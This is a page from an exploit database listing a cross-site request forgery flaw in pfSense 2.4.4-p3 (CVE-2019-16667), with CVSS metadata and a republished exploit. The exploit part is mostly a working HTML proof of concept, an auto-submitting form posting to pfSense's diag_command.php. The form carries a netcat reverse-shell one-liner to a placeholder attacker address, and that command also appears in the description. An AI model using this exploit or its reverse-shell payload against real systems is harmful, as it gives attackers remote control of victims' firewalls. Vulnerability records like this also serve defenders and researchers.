Exploitalert - Database of Exploits

pfSense 2.4.4-p3 Cross Site Request Forgery

CVE	Category	Price	Severity
CVE-2019-16667	CWE-352	$5,000	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2020-07-30

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	Low	C	There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	Low	A	There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.

https://cxsecurity.com/ascii/WLB-2020070151

pfSense 2.4.4-p3 Cross Site Request Forgery

# Exploit Title: pfSense 2.4.4-p3 - Cross-Site Request Forgery # Date: 2019-09-27 # Exploit Author: ghost_fh # Vendor Homepage: https://www.pfsense.org/ # Software Link: https://www.pfsense.org/download/index.html?section=downloads # Version: Till 2.4.4-p3 # Tested on: freebsd # CVE : CVE-2019-16667 # Vulnerability Description :- The pfsense firewall is vulnerable to RCE # chained with CSRF as it uses `csrf magic` library since it allows to tamper # the CSRF token values submitted when processing the form requests. Due to # this flaw, an attacker can exploit this vulnerability by crafting new page # that contains attacker's controlled input such as a "reverse shell" (eg: # `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip port # >/tmp/f`token value) in the form and entice the victims to click # on the crafted link via social engineering methods. Once the victim clicks # on the link (try again button in this case), the attacker can take the # lateral control of the victim's machine and malicious actions can be # performed on the victim's behalf. <!DOCTYPE html> <html> <body onload="document.createElement('form').submit.call(document.getElementById('myForm'))"> <form id="myForm" action="https://pfsense_ip/diag_command.php" method="POST"> <input type=hidden name="txtCommand" value="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc attacker_ip attacker_port >/tmp/f"> <input type=hidden name="txtRecallBuffer" value="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker_ip attacker_port >/tmp/f"> <input type=hidden name="dlPath" value=""> <input type=hidden name="txtPHPCommand" value=""> <input type="hidden" name="submit" value="EXEC"> </form> </body> </html> # Create a malicious page containing the above values and once user clicks on malicious link, # he will be redirected to https://pfsense_ip/diag_command.php page. # Victim will be greeted with the "Try again" button. # Once victim clicks on the "Try again" button you will be greeted with reverse shell of the victim.

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